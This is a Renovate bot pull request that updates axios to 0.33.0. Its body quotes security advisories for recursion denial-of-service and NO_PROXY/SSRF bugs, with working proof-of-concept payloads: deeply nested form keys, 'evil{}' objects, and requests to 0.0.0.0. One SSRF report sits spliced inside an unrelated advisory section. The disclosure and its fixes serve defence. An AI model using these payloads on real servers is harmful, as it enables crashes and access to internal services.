Update dependency axios to v0.33.0 [SECURITY] by renovate[bot] · Pull Request #405 · ordermentum/javascript-sdk

renovate · 2026-07-21T00:01:39Z

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
axios (source)	`0.32.0` → `0.33.0`

Axios: Deep formToJSON Key Recursion Can Cause Denial of Service

GHSA-pmv8-rq9r-6j72

More information

Details

Summary

Axios versions starting with 0.28.0 contain uncontrolled recursion in formDataToJSON, which is exposed as axios.formToJSON() and used internally when axios serialises FormData with Content-Type: application/json.

If an application passes attacker-controlled FormData field names to this functionality, a field name with thousands of nested bracket segments can exhaust the JavaScript call stack and cause denial of service for that request or, in applications without appropriate error handling, process termination.

Impact

Applications are affected only when untrusted users can control FormData key names that are converted through axios.

Affected paths include direct use of axios.formToJSON() on untrusted FormData and axios requests in which attacker-controlled FormData is sent with Content-Type: application/json.

The observed failure is RangeError: Maximum call stack size exceeded. In local testing, this error is catchable, so process-wide crash depends on the consuming application's error handling and runtime behaviour.

Affected Functionality

Affected functionality:

axios.formToJSON(formData)
Named ESM export formToJSON
Default transformRequest behaviour for FormData when Content-Type contains application/json

Unaffected functionality:

Normal multipart FormData submission without JSON serialisation
toFormData, which already enforces a maxDepth guard
Axios versions <=0.27.2, where formDataToJSON was not present

Technical Details

The vulnerable code is in lib/helpers/formDataToJSON.js.

parsePropPath() splits a field name such as a[x][x][x] into path segments. buildPath() then recursively processes one segment per call without enforcing a maximum depth:

const result = buildPath(path, value, target[name], index);

A key with thousands of bracket-delimited segments causes thousands of recursive calls and can exceed the JavaScript engine's call stack limit.

Relevant source locations:

lib/helpers/formDataToJSON.js contains the unbounded recursive buildPath().
lib/axios.js exposes the helper as axios.formToJSON.
index.js exposes formToJSON as a named export.
index.d.ts and index.d.cts declare the public API.
lib/defaults/index.js calls formDataToJSON(data) when JSON-serializing FormData.

The inverse helper, toFormData, already enforces maxDepth and throws AxiosError with ERR_FORM_DATA_DEPTH_EXCEEDED, but formDataToJSON does not have an equivalent guard.

Proof of Concept of Attack

import axios from 'axios';

const fd = new FormData();
fd.append('a' + '[x]'.repeat(15000), 'value');

try {
  axios.formToJSON(fd);
  console.log('not vulnerable');
} catch (e) {
  console.log(`${e.constructor.name}: ${e.message}`);
}

Expected result on affected versions:

RangeError: Maximum call stack size exceeded

The same condition can be reached via an axios request transformation when attacker-controlled FormData is sent with Content-Type: application/json.

Workarounds

Applications can reject or normalise untrusted form field names before calling axios.formToJSON().

Applications can avoid sending untrusted FormData through axios as JSON unless JSON conversion is required.

Applications should catch errors around formToJSON() or axios requests that transform untrusted FormData.

Original Source

Summary

An uncontrolled recursion vulnerability in formDataToJSON allows any user who controls FormData input to crash a Node.js process with a single request. The function recurses once per bracket-delimited segment in a FormData key name with no depth limit, so a key like a[x][x][x]... with 15,000+ segments exhausts the call stack. This is a denial-of-service that kills the process via an unrecoverable RangeError. The inverse function toFormData already enforces a maxDepth limit (default 100) for exactly this reason — formDataToJSON lacks the equivalent guard.

Details

Vulnerable function: buildPath in lib/helpers/formDataToJSON.js, lines 50–82.

buildPath(path, value, target, index) is called recursively — once per segment in the parsed property path — with no depth check:

// lib/helpers/formDataToJSON.js, lines 50–82
function buildPath(path, value, target, index) {
  let name = path[index++];              // advance one level
  if (name === '__proto__') return true;
  // ...
  if (!isLast) {
    // ...
    const result = buildPath(path, value, target[name], index);  // recurse — NO depth guard
    // ...
  }
}

The key is first split into segments by parsePropPath (line 17), which extracts every [segment] via regex. A key with 15,000 bracket pairs produces a 15,001-element array, causing 15,001 recursive calls — well beyond the V8 default stack limit (~10,000–15,000 frames).

formDataToJSON is a public API consumed two ways:

Directly by consumers — exported as axios.formToJSON() (lib/axios.js:80), with TypeScript declarations in both index.d.ts:699 and index.d.cts:708, and documented in the API reference in four languages (docs/pages/advanced/api-reference.md).
Internally by transformRequest — called at lib/defaults/index.js:56 when the request body is FormData and Content-Type contains application/json:
```
return hasJSONContentType ? JSON.stringify(formDataToJSON(data)) : data;
```

Contrast with toFormData: The inverse function (lib/helpers/toFormData.js:118) enforces maxDepth (default 100) and throws AxiosError with code ERR_FORM_DATA_DEPTH_EXCEEDED when exceeded. formDataToJSON has no equivalent protection.

PoC

Requires only Node.js and an unmodified axios v1.x install:

import formDataToJSON from 'axios/lib/helpers/formDataToJSON.js';

// Build a FormData with a single key containing 15,000 nested bracket segments
const fd = new FormData();
const key = "a" + "[x]".repeat(15000);
fd.append(key, "value");

try {
  formDataToJSON(fd);
  console.log("Not vulnerable");
} catch (e) {
  console.log(e.constructor.name + ": " + e.message);
  // RangeError: Maximum call stack size exceeded
}

Verified output on Node.js 22.22.3 against axios v1.16.1 (current v1.x HEAD):

RangeError: Maximum call stack size exceeded

The process crashes. In a server context (e.g., Express middleware calling axios.formToJSON() on an uploaded form), a single crafted request terminates the process.

Impact

Denial of Service (process crash). Any unauthenticated user who can submit FormData to a Node.js application that passes it through axios.formToJSON() — or that sends it as a JSON-serialized FormData body via axios — can crash the server process with a single request. The RangeError from stack exhaustion is unrecoverable in many contexts (it cannot be reliably caught when the stack is already full). No authentication or special privileges are required; the attacker only needs to control a FormData key name.

Severity

CVSS Score: 6.3 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: Excessive recursion in formDataToJSON can cause denial of service

GHSA-42h9-826w-cgv3

More information

Details

Summary

Axios versions 0.28.0 and later contain uncontrolled recursion in formDataToJSON, the helper behind the public axios.formToJSON() / named formToJSON API and the default request transform used when FormData is sent with an application/json content type.

Applications are affected when they pass attacker-controlled FormData field names into this functionality. A field name with thousands of nested bracket segments can exhaust the JavaScript call stack and throw RangeError: Maximum call stack size exceeded, causing request failure and, in applications that do not handle the exception or rejected promise, possible process termination.

Impact

The impact is denial of service against applications that process untrusted FormData field names through axios' FormData-to-JSON conversion.

The vulnerable path is not reached by merely installing axios, by normal multipart FormData pass-through, or by ordinary axios requests that do not request JSON serialisation of FormData. In the default axios request, the error is produced before network I/O and returned as a rejected Promise. Direct use of formToJSON() throws synchronously.

Server-side applications are the primary risk when remote users can submit arbitrary form field names, and the application converts those fields with formToJSON() or sends them through axios as JSON.

Affected Functionality

Affected APIs and paths:

axios.formToJSON(formData)
import { formToJSON } from "axios"
lib/helpers/formDataToJSON.js
axios default transformRequest when data is FormData and Content-Type contains application/json

Unaffected or lower-risk paths:

Normal multipart FormData requests without JSON Content-Type
toFormData() object-to-FormData serialisation, which already has a maxDepth guard
Axios versions before 0.28.0, where this helper and public API were not present

Technical Details

lib/helpers/formDataToJSON.js parses a form field name into path segments with parsePropPath(). For a key such as a[x][x][x], each bracketed segment becomes another path element.

formDataToJSON() then calls the nested buildPath(path, value, target, index) function. buildPath() recursively calls itself once for each path segment and does not enforce a maximum depth:

const result = buildPath(path, value, target[name], index);

A key containing thousands of bracket segments, therefore, creates thousands of recursive calls. At sufficient depth, V8 throws RangeError: Maximum call stack size exceeded.

Axios already applies a depth guard to the inverse serializer in lib/helpers/toFormData.js, where maxDepth defaults to 100 and exceeding it throws AxiosError with code ERR_FORM_DATA_DEPTH_EXCEEDED. formDataToJSON() does not currently have equivalent protection.

Proof of Concept of Attack

import { formToJSON } from "axios";

const fd = new FormData();
fd.append("a" + "[x]".repeat(15000), "value");

try {
  formToJSON(fd);
  console.log("not vulnerable");
} catch (err) {
  console.log(`${err.constructor.name}: ${err.message}`);
}

Expected vulnerable result:

RangeError: Maximum call stack size exceeded

The axios request transform path can also be reached before network I/O:

import axios from "axios";

const fd = new FormData();
fd.append("a" + "[x]".repeat(15000), "value");

await axios
  .post("http://127.0.0.1:1/", fd, {
    headers: { "Content-Type": "application/json" }
  })
  .catch((err) => console.log(`${err.constructor.name}: ${err.message}`));

Expected vulnerable result:

RangeError: Maximum call stack size exceeded

Workarounds

Applications can avoid the vulnerable path by not converting attacker-controlled FormData to JSON with axios.

If conversion is required before a fixed axios release is available, validate FormData field names before calling formToJSON() or before sending FormData with Content-Type: application/json. Reject keys whose parsed nesting depth exceeds the application's expected schema.

For axios requests carrying untrusted FormData, avoid setting Content-Type: application/json; leaving the data as multipart FormData bypasses formDataToJSON().

Catching the resulting error can prevent process termination, but it does not remove the uncontrolled-recursion behaviour and should not be treated as the primary mitigation.

Original Report

Axios SSRF via Incomplete Loopback Detection

CWE-918 | CVSS 7.5 (HIGH) | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

1. Classification

CWE	CVSS Score	Severity	Type
CWE-918	7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L)	HIGH	Server-Side Request Forgery

2. Description

Summary

The shouldBypassProxy() function in Axios fails to recognise 0.0.0.0, ::, and ::ffff:0.0.0.0 as loopback addresses. When NO_PROXY=localhost is configured, requests to these addresses are incorrectly forwarded through the proxy instead of being sent directly, enabling an SSRF attack against internal services reachable via the proxy's loopback interface.

Root Cause

File: lib/helpers/shouldBypassProxy.js

isIPv4Loopback (lines 3-8): Only checks for 127.x.x.x addresses by inspecting parts[0] !== '127'. The 0.0.0.0 address has parts[0] === '0', so it falls through as non-loopback, even though on Linux 0.0.0.0 routes to the loopback interface.

isIPv6Loopback (lines 10-38): Only checks host === '::1'. The :: address (unspecified IPv6) also routes to the loopback, but is not recognised.

Attack Flow:

isIPv4Loopback (line 3) — fails for 0.0.0.0
  → isLoopback (line 44) — wraps both checks, returns false
    → shouldBypassProxy (line 127) — PUBLIC API, exported default
      → lib/adapters/http.js (line 190) — Node.js HTTP adapter

Attack Vector

Access Vector: Network (AV:N)
Access Complexity: Low (AC:L) — attacker only needs control of a URL
Privileges Required: None (PR:N)
User Interaction: None (UI:N)

3. Proof of Concept

Phase 1: Logic Verification

import shouldBypassProxy from 'axios/lib/helpers/shouldBypassProxy.js';

// Normal loopback — correctly returns true (bypasses proxy)
shouldBypassProxy('http://127.0.0.1:9999/');  // → true

// Vulnerable — returns false (goes through proxy!)
shouldBypassProxy('http://0.0.0.0:9999/');    // → false  ← SSRF
shouldBypassProxy('http://[::]:9999/');        // → false  ← SSRF
shouldBypassProxy('http://[::ffff:0.0.0.0]:9999/'); // → false ← SSRF

Phase 2: Docker E2E Reproduction

A full 3-container Docker reproduction was created and tested:

Proxy container: Simple HTTP forward proxy on port 8888
Internal container: Internal service on port 9999 (simulates sensitive internal resource)
Attacker container: Runs the test script with Axios source mounted

Reproduction steps:

cd /tmp/deep-e2e
docker compose up -d
docker compose exec attacker node test-ssrf.js

Results:

Test 1: 127.0.0.1 + NO_PROXY=localhost → BYPASS (correct)
Test 2: 0.0.0.0 + NO_PROXY=localhost → VIA_PROXY (SSRF)
Test 3: [::] + NO_PROXY=localhost → VIA_PROXY (SSRF)
Test 4: [::ffff:0.0.0.0] + NO_PROXY=localhost → VIA_PROXY (SSRF)

Phase 3: Actual Axios Client

The real Axios HTTP client (v1.16.1, source tree) was tested through proxy configuration:

Axios with proxy: { host: 'proxy', port: 8888 }
Setting NO_PROXY=localhost and requesting http://0.0.0.0:9999/
Result: Axios forwarded the request through the proxy instead of bypassing it

4. Impact

Attack Scenario

Attacker has control over a URL that an Axios client will request (direct input, redirect target, open redirect chain)
The Axios client is configured with a proxy (e.g., corporate proxy) and NO_PROXY=localhost to protect internal services
Attacker supplies http://0.0.0.0:8080/admin as the target URL
Axios sends the request through the proxy
The proxy resolves 0.0.0.0 → the proxy's own loopback → reaches the internal admin service on port 8080

Potential Consequences

Information disclosure (C:L): Internal service responses become accessible
Integrity impact (I:L): Attacker can trigger actions on internal services (if proxy supports PUT/POST/DELETE)
Availability impact (A:L): Limited — depends on internal service behavior

Likelihood

High — proxy bypass is a common pattern in microservice architectures
Medium — requires attacker control of a URL (not always available)

5. Remediation

Code Fix

File: lib/helpers/shouldBypassProxy.js

function isIPv4Loopback(host) {
  if (host === '0.0.0.0') return true;  // ADD THIS LINE
  const parts = host.split('.');
  if (parts.length !== 4) return false;
  if (parts[0] !== '127') return false;
  return parts.every(p => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255);
}

function isIPv6Loopback(host) {
  if (host === '::1' || host === '::') return true;  // ADD '::'
  // ... rest of implementation
}

Workarounds

Add 0.0.0.0 and :: to the NO_PROXY environment variable explicitly
Use 127.0.0.1 instead of 0.0.0.0 in all internal service URLs
Implement URL validation to reject 0.0.0.0 and :: before passing to Axios

Severity

CVSS Score: 6.3 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: NO_PROXY bypass for 0.0.0.0 local addresses in axios

GHSA-f4gw-2p7v-4548

More information

Details

Summary

Axios versions containing lib/helpers/shouldBypassProxy.js do not treat 0.0.0.0 as a local address when evaluating NO_PROXY rules. In Node.js applications that use HTTP_PROXY or HTTPS_PROXY together with NO_PROXY=localhost,127.0.0.1,::1 or similar, a request to http://0.0.0.0:<port>/ can be routed through the configured proxy instead of bypassing it.

The issue is exploitable when an attacker can influence the axios request URL or a followed redirect target, and when the proxy can reach or relay 0.0.0.0 to local services. This is a Node.js runtime proxy-routing issue, not a browser, install-time, or development-tooling issue.

Impact

Applications are affected when all of the following are true:

The application runs axios in Node.js with the HTTP adapter.
The process uses environment proxy variables such as HTTP_PROXY or HTTPS_PROXY.
The process uses NO_PROXY entries such as localhost, 127.0.0.1, or ::1 to keep local traffic out of the proxy path.
Attacker-controlled input can influence the request URL or redirect target.
The configured proxy does not reject 0.0.0.0 and can reach the local destination.

For plain HTTP targets, the proxy can receive the full request URL, headers, and body, and may be able to observe the local service response. HTTPS targets are less exposed because axios uses CONNECT tunneling in current versions.

Affected Functionality

Affected functionality is limited to environment-derived proxy selection in the Node HTTP adapter:

lib/adapters/http.js calls getProxyForUrl(location) and then shouldBypassProxy(location) before applying the proxy.
lib/helpers/shouldBypassProxy.js normalizes and compares NO_PROXY entries.
Explicit caller-provided config.proxy remains trusted caller configuration.
Browser, React Native, XHR, and fetch adapter behavior are not affected.

Technical Details

lib/helpers/shouldBypassProxy.js defines local loopback equivalence through isLoopback(). The current implementation recognizes localhost, IPv4 127.0.0.0/8, IPv6 ::1, and IPv4-mapped loopback forms, but it does not include 0.0.0.0.

At lib/helpers/shouldBypassProxy.js:176, axios treats two hosts as matching when both are considered loopback:

return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost));

Because isLoopback('0.0.0.0') returns false, NO_PROXY=localhost,127.0.0.1,::1 does not match http://0.0.0.0:<port>/. lib/adapters/http.js:185-193 then applies the environment proxy.

Proof of Concept of Attack

import http from 'http';
import axios from './index.js';

const listen = (handler, host = '127.0.0.1') =>
  new Promise((resolve) => {
    const server = http.createServer(handler);
    server.listen(0, host, () => resolve(server));
  });

const close = (server) => new Promise((resolve) => server.close(resolve));

const origin = await listen((req, res) => res.end('origin'), '0.0.0.0');

let proxyRequests = 0;
const proxy = await listen((req, res) => {
  proxyRequests += 1;
  res.end('proxied');
});

process.env.http_proxy = `http://127.0.0.1:${proxy.address().port}`;
process.env.HTTP_PROXY = process.env.http_proxy;
process.env.no_proxy = 'localhost,127.0.0.1,::1';
process.env.NO_PROXY = process.env.no_proxy;

try {
  const direct = await axios.get(`http://127.0.0.1:${origin.address().port}/`);
  const zero = await axios.get(`http://0.0.0.0:${origin.address().port}/`);

  console.log({ direct: direct.data, zero: zero.data, proxyRequests });
} finally {
  await close(origin);
  await close(proxy);
}

Expected safe behavior: both 127.0.0.1 and 0.0.0.0 bypass the proxy when the NO_PROXY policy is intended to cover local destinations.

Observed behavior: 127.0.0.1 bypasses the proxy, while 0.0.0.0 is sent through the proxy.

Workarounds

Add 0.0.0.0 explicitly to NO_PROXY where local addresses must bypass proxies.
Reject or normalize 0.0.0.0 in application URL validation before calling axios.
Set proxy: false on axios requests that must never use environment proxies.
Configure the proxy itself to reject 0.0.0.0, loopback, link-local, and internal address ranges.

Original Report

Summary

axios versions 1.15.0–1.16.1 contain an incomplete loopback-address check in lib/helpers/shouldBypassProxy.js. The isLoopback() function correctly identifies 127.0.0.0/8 and ::1 as loopback addresses but does not recognise 0.0.0.0 — the IPv4 unspecified address, which routes to the local machine on Linux and macOS.

An attacker who controls a URL passed to axios can use http://0.0.0.0/<path> to bypass proxy-based SSRF filtering that the application relies upon.

Details

Affected versions

>= 1.15.0, <= 1.16.1

The vulnerability was introduced in v1.15.0 when the shouldBypassProxy helper was added as a security improvement (PR #10661).

Root cause

File: lib/helpers/shouldBypassProxy.js

// Line 1 — static allowlist (incomplete)
const LOOPBACK_HOSTNAMES = new Set(['localhost']);   // ← 0.0.0.0 missing

const isIPv4Loopback = (host) => {
  const parts = host.split('.');
  if (parts.length !== 4) return false;
  if (parts[0] !== '127') return false;   // ← 0.0.0.0: parts[0] = '0' → false
  return parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255);
};

const isLoopback = (host) => {
  if (!host) return false;
  if (LOOPBACK_HOSTNAMES.has(host)) return true;   // ← '0.0.0.0' not in set
  if (isIPv4Loopback(host)) return true;           // ← returns false for 0.0.0.0
  return isIPv6Loopback(host);
};

isLoopback('0.0.0.0') returns false.

Node's WHATWG URL parser does not normalise 0.0.0.0 to 127.0.0.1. Other bypass forms are safe: new URL('http://0177.0.0.1/').hostname → '127.0.0.1' (octal), new URL('http://2130706433/').hostname → '127.0.0.1' (decimal), new URL('http://0x7f000001/').hostname → '127.0.0.1' (hex). Only 0.0.0.0 escapes normalisation.

##### PoC
'use strict';

// Verbatim copy of relevant logic from axios v1.16.1 shouldBypassProxy.js

const LOOPBACK_HOSTNAMES = new Set(['localhost']);

const isIPv4Loopback = (host) => {
  const parts = host.split('.');
  if (parts.length !== 4) return false;
  if (parts[0] !== '127') return false;
  return parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255);
};

const isLoopback = (host) => {
  if (!host) return false;
  if (LOOPBACK_HOSTNAMES.has(host)) return true;
  return isIPv4Loopback(host);
};

// 1. Show URL parser does NOT normalise 0.0.0.0
console.log(new URL('http://0.0.0.0/').hostname);    // → '0.0.0.0'   ← NOT normalised
console.log(new URL('http://0177.0.0.1/').hostname); // → '127.0.0.1' ← normalised (safe)
console.log(new URL('http://2130706433/').hostname);  // → '127.0.0.1' ← normalised (safe)

// 2. Show isLoopback fails for 0.0.0.0
console.log(isLoopback('0.0.0.0'));   // → false  ← BUG: should be true
console.log(isLoopback('127.0.0.1')); // → true   ← correct

Verified output on Node.js v22 / axios v1.16.1:
0.0.0.0     ← NOT normalised by URL parser
127.0.0.1   ← octal normalised correctly
127.0.0.1   ← decimal normalised correctly
false       ← 0.0.0.0 not detected as loopback  ⚠
true        ← 127.0.0.1 correctly detected

##### Impact
Applications that:

Accept user-supplied URLs and pass them to axios
Use a proxy with NO_PROXY=localhost (or similar) for SSRF filtering
…can be bypassed by supplying http://0.0.0.0/<path>. Axios routes the request through the proxy (shouldBypassProxy returns false). If the proxy itself does not filter 0.0.0.0, the connection reaches the local machine — exposing internal services such as cloud IMDS endpoints, internal admin panels, or microservice APIs.

Fix
Minimal (one line):

- const LOOPBACK_HOSTNAMES = new Set(['localhost']);
+ const LOOPBACK_HOSTNAMES = new Set(['localhost', '0.0.0.0']);

Comprehensive:

const isIPv4Unspecified = (host) => host === '0.0.0.0';

const isLoopback = (host) => {
  if (!host) return false;
  if (LOOPBACK_HOSTNAMES.has(host)) return true;
  if (isIPv4Loopback(host)) return true;
  if (isIPv4Unspecified(host)) return true;   // add this line
  return isIPv6Loopback(host);
};
</details>

#### Severity
- CVSS Score: 6.9 / 10 (Medium)
- Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N`

#### References
- [https://github.com/axios/axios/security/advisories/GHSA-f4gw-2p7v-4548](https://redirect.github.com/axios/axios/security/advisories/GHSA-f4gw-2p7v-4548)
- [https://github.com/axios/axios/pull/11000](https://redirect.github.com/axios/axios/pull/11000)
- [https://github.com/axios/axios/pull/11001](https://redirect.github.com/axios/axios/pull/11001)
- [https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d](https://redirect.github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d)
- [https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2](https://redirect.github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2)
- [https://github.com/axios/axios/releases/tag/v0.33.0](https://redirect.github.com/axios/axios/releases/tag/v0.33.0)
- [https://github.com/axios/axios/releases/tag/v1.18.0](https://redirect.github.com/axios/axios/releases/tag/v1.18.0)
- [https://github.com/advisories/GHSA-f4gw-2p7v-4548](https://redirect.github.com/advisories/GHSA-f4gw-2p7v-4548)

This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-f4gw-2p7v-4548) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Axios form serializer maxDepth bypass via {} metatoken
[GHSA-hcpx-6fm6-wx23](https://redirect.github.com/advisories/GHSA-hcpx-6fm6-wx23)

<details>
<summary>More information</summary>

#### Details
##### Summary

Axios versions in the fixed lines for GHSA-62hf-57xw-28j9 still contain an incomplete depth-limit bypass in `lib/helpers/toFormData.js`. When serializing an object with a top-level key ending in `{}`, axios calls `JSON.stringify()` on that value before the `formSerializer.maxDepth` guard can inspect the nested structure.

An attacker who can control object keys and nested values passed by an application into axios form or parameter serialization can trigger a raw `RangeError: Maximum call stack size exceeded`, causing a denial of service in the affected request path.

##### Impact

The impact is availability only. No confidentiality or integrity impact was confirmed.

Server-side applications are the primary concern when they accept user-controlled input and pass it into axios as `data` or `params` for `multipart/form-data`, `application/x-www-form-urlencoded`, or default parameter serialization. Browser impact is limited to the page or request context unless the application builds a broader failure mode around the thrown exception.

The attack requires control over a top-level object key ending in `{}` and a deeply nested object value. The option `formSerializer.metaTokens: false` is not a workaround because it only changes the emitted key name; the value is still stringified.

##### Affected Functionality

Affected paths include:

- `lib/helpers/toFormData.js` when a top-level key ends with `{}`.
- `lib/helpers/toURLEncodedForm.js`, which delegates to `helpers.defaultVisitor`.
- `lib/helpers/AxiosURLSearchParams.js`, used by default params serialization.
- Request transforms in `lib/defaults/index.js` when object data is serialized as `multipart/form-data` or `application/x-www-form-urlencoded`.

Unaffected paths include:

- Already-created `FormData` or `URLSearchParams` values that axios does not walk with `toFormData`.
- Custom `paramsSerializer.serialize` implementations that do not call axios `toFormData`.
- Non-`{}` deeply nested values in `toFormData`, which hit `ERR_FORM_DATA_DEPTH_EXCEEDED` as intended.

##### Technical Details

In `lib/helpers/toFormData.js`, `defaultVisitor()` handles top-level keys ending in `{}` before recursive traversal:

```js
if (value && !path && typeof value === 'object') {
  if (utils.endsWith(key, '{}')) {
    key = metaTokens ? key : key.slice(0, -2);
    value = JSON.stringify(value);
  }
}

The depth guard is in build():

if (depth > maxDepth) {
  throw new AxiosError(
    'Object is too deeply nested (' + depth + ' levels). Max depth: ' + maxDepth,
    AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED
  );
}

For {} metatoken values, build() only sees the top-level property. The nested value is handed directly to native JSON.stringify(), which recurses internally and can throw RangeError before axios emits the intended AxiosError.

Proof of Concept of Attack

Safe local PoC with no network I/O:

import toFormData from './lib/helpers/toFormData.js';

function buildDeep(depth) {
  const head = {};
  let cur = head;

  for (let i = 0; i < depth; i += 1) {
    cur.x = {};
    cur = cur.x;
  }

  return head;
}

try {
  toFormData({ 'evil{}': buildDeep(10000) });
} catch (err) {
  console.log(err.name, err.code || '', err.message);
}

// Expected affected result:
// RangeError  Maximum call stack size exceeded

Expected fixed behavior is an AxiosError with code ERR_FORM_DATA_DEPTH_EXCEEDED.

Workarounds

Reject or depth-limit untrusted objects before passing them to axios serialization.

Strip or reject top-level keys ending in {} from untrusted objects when using axios form serialization.

For query parameters, use a custom paramsSerializer.serialize that enforces a depth limit.

For form bodies, construct FormData or URLSearchParams manually after validating input depth.

Original Report

Summary

The maxDepth=100 guard added in axios 1.15.0 to fix GHSA-62hf-57xw-28j9 lives inside the build() recursion in lib/helpers/toFormData.js. The default visitor at lib/helpers/toFormData.js:166-170 still has a top-level shortcut that calls JSON.stringify(value) whenever a key ends in '{}', before build() ever sees the nested value. JSON.stringify on a deeply nested object stack-overflows with RangeError: Maximum call stack size exceeded, which propagates synchronously out of the axios call. The exact attacker-data flow that the original advisory described (proxy-style code that forwards client JSON into axios({ data, params })) still crashes the process at depth ~3000 on a default Node.js stack, despite v1.16.0 being patched.

Details

Affected: axios 1.15.0 - 1.16.0 (every released version that carries the GHSA-62hf-57xw-28j9 fix). The bug is reachable from any code path that hits toFormData, which includes:

axios.post(url, data, { headers: { 'content-type': 'application/x-www-form-urlencoded' } }) -> defaults.transformRequest -> toURLEncodedForm(data) -> toFormData
axios.post(url, data, { headers: { 'content-type': 'multipart/form-data' } }) -> same path via toFormData
axios.get(url, { params }) -> buildURL -> new AxiosURLSearchParams(params) -> toFormData

Vulnerable code, lib/helpers/toFormData.js:

// 156 function defaultVisitor(value, key, path) {
// 165 if (value && !path && typeof value === 'object') {
// 166 if (utils.endsWith(key, '{}')) {
// 167 // eslint-disable-next-line no-param-reassign
// 168 key = metaTokens ? key : key.slice(0, -2);
// 169 // eslint-disable-next-line no-param-reassign
// 170 value = JSON.stringify(value); // <-- V8 native, NOT depth-checked
// 171 } else if (...

build() later does enforce maxDepth:

// 211 function build(value, path, depth = 0) {
// 212 if (utils.isUndefined(value)) return;
// 213
// 214 if (depth > maxDepth) {
// 215 throw new AxiosError(
// 216 'Object is too deeply nested (' + depth + ' levels). Max depth: ' + maxDepth,
// 217 AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED
// 218 );

The '{}' shortcut runs in defaultVisitor, which is invoked from inside build() for top-level keys (the !path clause at line 165 means the shortcut only triggers at top level, where path is undefined). At that point depth === 0 and the maxDepth check has already passed; the recursion-aware guard never sees the nested value because defaultVisitor reassigns value = JSON.stringify(value) and returns the rendered string straight to formData.append. JSON.stringify itself is recursive in V8 and stack-overflows on deeply nested objects, throwing RangeError synchronously.

The behaviour is independent of the metaTokens option: line 168 only changes whether '{}' stays on the key name, line 170 stringifies regardless. toURLEncodedForm's wrapper visitor in lib/helpers/toURLEncodedForm.js:11-14 falls through to the same defaultVisitor, so the form-encoded path is also affected.

The attacker payload is a single top-level key ending in '{}' whose value is a nested object. The keys themselves do not have to be deep, so the payload is small to send (a few KB of {"x":{"x":...}} produces enough nesting to overflow). The original advisory's threat model -- a server that forwards req.body or req.query into axios -- is unchanged:

app.post('/forward', async (req, res) => {
 await axios.post('https://upstream/api', req.body); // req.body attacker-controlled
 res.send('ok');
});
// attacker POST /forward with content-type: application/x-www-form-urlencoded
// body: {"evil{}": <8000-deep object>}
// -> JSON.stringify recurses inside defaultVisitor -> RangeError -> handler crashes

The error is not an AxiosError; it is a raw RangeError thrown from the stringifier, so handlers that look for err.code === 'ERR_FORM_DATA_DEPTH_EXCEEDED' (the documented signal that the maxDepth guard fired) do not see it. Synchronous startup paths or worker threads still take the whole process down.

The fix is to also depth-limit (or pre-walk) the value before calling JSON.stringify on line 170, or to remove the top-level '{}' shortcut and rely on the depth-checked build() recursion to handle it. A minimal patch that preserves observable behaviour for legal payloads:

 if (utils.endsWith(key, '{}')) {
 // eslint-disable-next-line no-param-reassign
 key = metaTokens ? key : key.slice(0, -2);
+ // Reject objects that would exceed maxDepth before handing to JSON.stringify,
+ // which is recursive in V8 and stack-overflows on deeply nested input.
+ (function checkDepth(v, d) {
+ if (d > maxDepth) {
+ throw new AxiosError(
+ 'Object is too deeply nested (' + d + ' levels). Max depth: ' + maxDepth,
+ AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED
+ );
+ }
+ if (v && typeof v === 'object') {
+ for (const k in v) checkDepth(v[k], d + 1);
+ }
+ })(value, 0);
 // eslint-disable-next-line no-param-reassign
 value = JSON.stringify(value);
 }

(The recursion in checkDepth itself is bounded by maxDepth, so it cannot itself overflow.)

PoC

Reproduces against a clean clone of axios/axios at v1.16.0 with npm install already run. targets/axios/poc_jsonstringify_dos.mjs is the script:

import axios from './source/index.js';

function buildDeep(depth) {
 let head = {};
 let cur = head;
 for (let i = 0; i < depth; i++) { cur.x = {}; cur = cur.x; }
 return head;
}

const malicious = buildDeep(5000);
const safeAdapter = () => Promise.resolve({
 data: 'never reached', status: 200, statusText: 'OK', headers: {}, config: {}
});

// 1. POST x-www-form-urlencoded
try {
 await axios.post('http://example.test/x',
 { 'evil{}': malicious },
 { headers: { 'content-type': 'application/x-www-form-urlencoded' }, adapter: safeAdapter });
} catch (e) {
 console.log('POST form-encoded:', e.name, '-', e.message);
}

// 2. GET with params
try {
 await axios.get('http://example.test/x',
 { params: { 'evil{}': malicious }, adapter: safeAdapter });
} catch (e) {
 console.log('GET params:', e.name, '-', e.message);
}

3/3 runs reproduce the same RangeError on axios@1.16.0 with Node.js 24:

$ node poc_jsonstringify_dos.mjs
POST form-encoded: RangeError - Maximum call stack size exceeded
GET params: RangeError - Maximum call stack size exceeded

safeAdapter is a stub that returns a fake response, so the crash is provably inside axios's serialization layer, not in HTTP I/O. Removing the '{}' suffix from the key and re-running gives the expected AxiosError: Object is too deeply nested ... ERR_FORM_DATA_DEPTH_EXCEEDED from the maxDepth guard, confirming the fix is wired correctly elsewhere -- it just does not cover this branch.

